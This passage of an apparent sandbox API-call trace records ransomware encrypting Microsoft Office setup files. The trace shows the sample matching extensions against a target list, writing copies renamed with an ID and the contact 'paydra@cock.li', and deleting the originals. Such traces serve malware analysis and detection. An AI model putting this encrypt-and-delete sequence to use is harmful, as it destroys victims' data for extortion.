(lpString1=".rar", lpString2=".XML") returned -1 [0040.968] lstrlenW (lpString=".bz2") returned 4 [0040.968] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0040.968] lstrlenW (lpString=".7z") returned 3 [0040.968] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0040.968] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML") returned 103 [0040.969] lstrlenW (lpString=".dbf") returned 4 [0040.969] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0040.969] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML") returned 103 [0040.969] lstrlenW (lpString=".1cd") returned 4 [0040.969] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0040.969] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML") returned 103 [0040.969] lstrlenW (lpString=".jpg") returned 4 [0040.969] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0040.969] lstrcmpiW (lpString1=".XML", lpString2=".html") returned 1 [0040.969] lstrlenW (lpString="ProjectMUI.XML") returned 14 [0040.969] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\projectmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0040.969] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=1452) returned 1 [0040.969] CloseHandle (hObject=0x198) returned 1 [0040.969] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\projectmui.xml")) returned 0x20 [0040.969] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\projectmui.xml.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0040.969] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\projectmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0040.970] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0040.970] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0040.970] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\projectmui.xml.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0041.039] GetLastError () returned 0x0 [0041.039] ReadFile (in: hFile=0x198, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x5ac, lpOverlapped=0x0) returned 1 [0041.046] WriteFile (in: hFile=0x20c, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0x5b0, lpOverlapped=0x0) returned 1 [0041.047] ReadFile (in: hFile=0x198, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0041.047] WriteFile (in: hFile=0x20c, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0xf0, lpOverlapped=0x0) returned 1 [0041.048] SetEndOfFile (hFile=0x20c) returned 1 [0041.048] CloseHandle (hObject=0x20c) returned 1 [0041.048] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0041.048] SetEndOfFile (hFile=0x198) returned 1 [0041.049] CloseHandle (hObject=0x198) returned 1 [0041.049] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0041.050] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\projectmui.xml")) returned 1 [0041.050] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML") returned 108 [0041.050] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML") returned 108 [0041.050] lstrlenW (lpString=".doc") returned 4 [0041.050] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0041.050] lstrlenW (lpString=".docx") returned 5 [0041.050] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0041.050] lstrlenW (lpString=".pdf") returned 4 [0041.050] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0041.050] lstrlenW (lpString=".xls") returned 4 [0041.050] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0041.050] lstrlenW (lpString=".xlsx") returned 5 [0041.050] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0041.050] lstrlenW (lpString=".ppt") returned 4 [0041.050] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0041.050] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML") returned 108 [0041.050] lstrlenW (lpString=".zip") returned 4 [0041.050] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0041.050] lstrlenW (lpString=".rar") returned 4 [0041.050] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0041.050] lstrlenW (lpString=".bz2") returned 4 [0041.050] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0041.050] lstrlenW (lpString=".7z") returned 3 [0041.050] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0041.050] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML") returned 108 [0041.050] lstrlenW (lpString=".dbf") returned 4 [0041.050] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0041.050] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML") returned 108 [0041.051] lstrlenW (lpString=".1cd") returned 4 [0041.051] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0041.051] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML") returned 108 [0041.051] lstrlenW (lpString=".jpg") returned 4 [0041.051] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0041.051] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML") returned 108 [0041.051] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML") returned 108 [0041.051] lstrlenW (lpString=".doc") returned 4 [0041.051] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0041.051] lstrlenW (lpString=".docx") returned 5 [0041.051] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0041.051] lstrlenW (lpString=".pdf") returned 4 [0041.051] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0041.051] lstrlenW (lpString=".xls") returned 4 [0041.051] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0041.051] lstrlenW (lpString=".xlsx") returned 5 [0041.051] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0041.051] lstrlenW (lpString=".ppt") returned 4 [0041.051] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0041.051] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML") returned 108 [0041.051] lstrlenW (lpString=".zip") returned 4 [0041.051] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0041.051] lstrlenW (lpString=".rar") returned 4 [0041.051] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0041.051] lstrlenW (lpString=".bz2") returned 4 [0041.051] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0041.051] lstrlenW (lpString=".7z") returned 3 [0041.051] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0041.051] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML") returned 108 [0041.051] lstrlenW (lpString=".dbf") returned 4 [0041.051] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0041.051] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML") returned 108 [0041.051] lstrlenW (lpString=".1cd") returned 4 [0041.051] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0041.052] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML") returned 108 [0041.052] lstrlenW (lpString=".jpg") returned 4 [0041.052] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0041.052] lstrcmpiW (lpString1=".XML", lpString2=".html") returned 1 [0041.052] lstrlenW (lpString="SETUP.XML") returned 9 [0041.052] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0041.052] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=1872) returned 1 [0041.052] CloseHandle (hObject=0x198) returned 1 [0041.052] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\setup.xml")) returned 0x20 [0041.052] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\setup.xml.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0041.052] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0041.053] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0041.053] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0041.053] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\setup.xml.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0041.053] GetLastError () returned 0x0 [0041.053] ReadFile (in: hFile=0x198, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x750, lpOverlapped=0x0) returned 1 [0041.054] WriteFile (in: hFile=0x20c, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0x760, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0x760, lpOverlapped=0x0) returned 1 [0041.055] ReadFile (in: hFile=0x198, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0041.055] WriteFile (in: hFile=0x20c, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0xe6, lpOverlapped=0x0) returned 1 [0041.055] SetEndOfFile (hFile=0x20c) returned 1 [0041.055] CloseHandle (hObject=0x20c) returned 1 [0041.056] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0041.056] SetEndOfFile (hFile=0x198) returned 1 [0041.057] CloseHandle (hObject=0x198) returned 1 [0041.057] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0041.057] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\setup.xml")) returned 1 [0041.057] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML") returned 103 [0041.057] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML") returned 103 [0041.057] lstrlenW (lpString=".doc") returned 4 [0041.057] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0041.057] lstrlenW (lpString=".docx") returned 5 [0041.057] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0041.057] lstrlenW (lpString=".pdf") returned 4 [0041.057] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0041.057] lstrlenW (lpString=".xls") returned 4 [0041.057] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0041.057] lstrlenW (lpString=".xlsx") returned 5 [0041.057] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0041.057] lstrlenW (lpString=".ppt") returned 4 [0041.057] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0041.058] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML") returned 103 [0041.058] lstrlenW (lpString=".zip") returned 4 [0041.058] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0041.058] lstrlenW (lpString=".rar") returned 4 [0041.058] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0041.058] lstrlenW (lpString=".bz2") returned 4 [0041.058] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0041.058] lstrlenW (lpString=".7z") returned 3 [0041.058] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0041.058] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML") returned 103 [0041.058] lstrlenW (lpString=".dbf") returned 4 [0041.058] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0041.058] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML") returned 103 [0041.058] lstrlenW (lpString=".1cd") returned 4 [0041.058] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0041.058] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML") returned 103 [0041.058] lstrlenW (lpString=".jpg") returned 4 [0041.058] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0041.058] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML") returned 103 [0041.058] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML") returned 103 [0041.058] lstrlenW (lpString=".doc") returned 4 [0041.058] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0041.058] lstrlenW (lpString=".docx") returned 5 [0041.058] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0041.058] lstrlenW (lpString=".pdf") returned 4 [0041.058] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0041.058] lstrlenW (lpString=".xls") returned 4 [0041.058] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0041.058] lstrlenW (lpString=".xlsx") returned 5 [0041.058] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0041.058] lstrlenW (lpString=".ppt") returned 4 [0041.058] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0041.058] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML") returned 103 [0041.059] lstrlenW (lpString=".zip") returned 4 [0041.059] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0041.059] lstrlenW (lpString=".rar") returned 4 [0041.059] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0041.059] lstrlenW (lpString=".bz2") returned 4 [0041.059] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0041.059] lstrlenW (lpString=".7z") returned 3 [0041.059] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0041.059] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML") returned 103 [0041.059] lstrlenW (lpString=".dbf") returned 4 [0041.059] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0041.059] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML") returned 103 [0041.059] lstrlenW (lpString=".1cd") returned 4 [0041.059] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0041.059] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML") returned 103 [0041.059] lstrlenW (lpString=".jpg") returned 4 [0041.059] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0041.059] lstrcmpiW (lpString1=".XML", lpString2=".html") returned 1 [0041.059] lstrlenW (lpString="Proof.XML") returned 9 [0041.059] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.en\\proof.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0041.060] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=1347) returned 1 [0041.060] CloseHandle (hObject=0x198) returned 1 [0041.060] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.en\\proof.xml")) returned 0x20 [0041.060] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.en\\proof.xml.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0041.060] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.en\\proof.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0041.060] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0041.060] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0041.060] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.en\\proof.xml.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0041.061] GetLastError () returned 0x0 [0041.061] ReadFile (in: hFile=0x198, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x543, lpOverlapped=0x0) returned 1 [0041.062] WriteFile (in: hFile=0x20c, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0x550, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0x550, lpOverlapped=0x0) returned 1 [0041.063] ReadFile (in: hFile=0x198, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0041.063] WriteFile (in: hFile=0x20c, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0xe6, lpOverlapped=0x0) returned 1 [0041.063] SetEndOfFile (hFile=0x20c) returned 1 [0041.063] CloseHandle (hObject=0x20c) returned 1 [0041.064] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0041.064] SetEndOfFile (hFile=0x198) returned 1 [0041.064] CloseHandle (hObject=0x198) returned 1 [0041.064] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0041.065] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.en\\proof.xml")) returned 1 [0041.065] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML") returned 98 [0041.065] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML") returned 98 [0041.065] lstrlenW (lpString=".doc") returned 4 [0041.065] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0041.065] lstrlenW (lpString=".docx") returned 5 [0041.065] lstrcmpiW (lpString1=".docx", lpString2="f.XML") returned -1 [0041.065] lstrlenW (lpString=".pdf") returned 4 [0041.065] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0041.065] lstrlenW (lpString=".xls") returned 4 [0041.065] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0041.065] lstrlenW (lpString=".xlsx") returned 5 [0041.065] lstrcmpiW (lpString1=".xlsx", lpString2="f.XML") returned -1 [0041.065] lstrlenW (lpString=".ppt") returned 4 [0041.065] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0041.065] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML") returned 98 [0041.065] lstrlenW (lpString=".zip") returned 4 [0041.065] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0041.065] lstrlenW (lpString=".rar") returned 4 [0041.065] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0041.065] lstrlenW (lpString=".bz2") returned 4 [0041.065] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0041.065] lstrlenW (lpString=".7z") returned 3 [0041.065] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0041.065] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML") returned 98 [0041.065] lstrlenW (lpString=".dbf") returned 4 [0041.066] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0041.066] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML") returned 98 [0041.066] lstrlenW (lpString=".1cd") returned 4 [0041.066] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0041.066] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML") returned 98 [0041.066] lstrlenW (lpString=".jpg") returned 4 [0041.066] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0041.066] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML") returned 98 [0041.066] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML") returned 98 [0041.066] lstrlenW (lpString=".doc") returned 4 [0041.066] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0041.066] lstrlenW (lpString=".docx") returned 5 [0041.066] lstrcmpiW 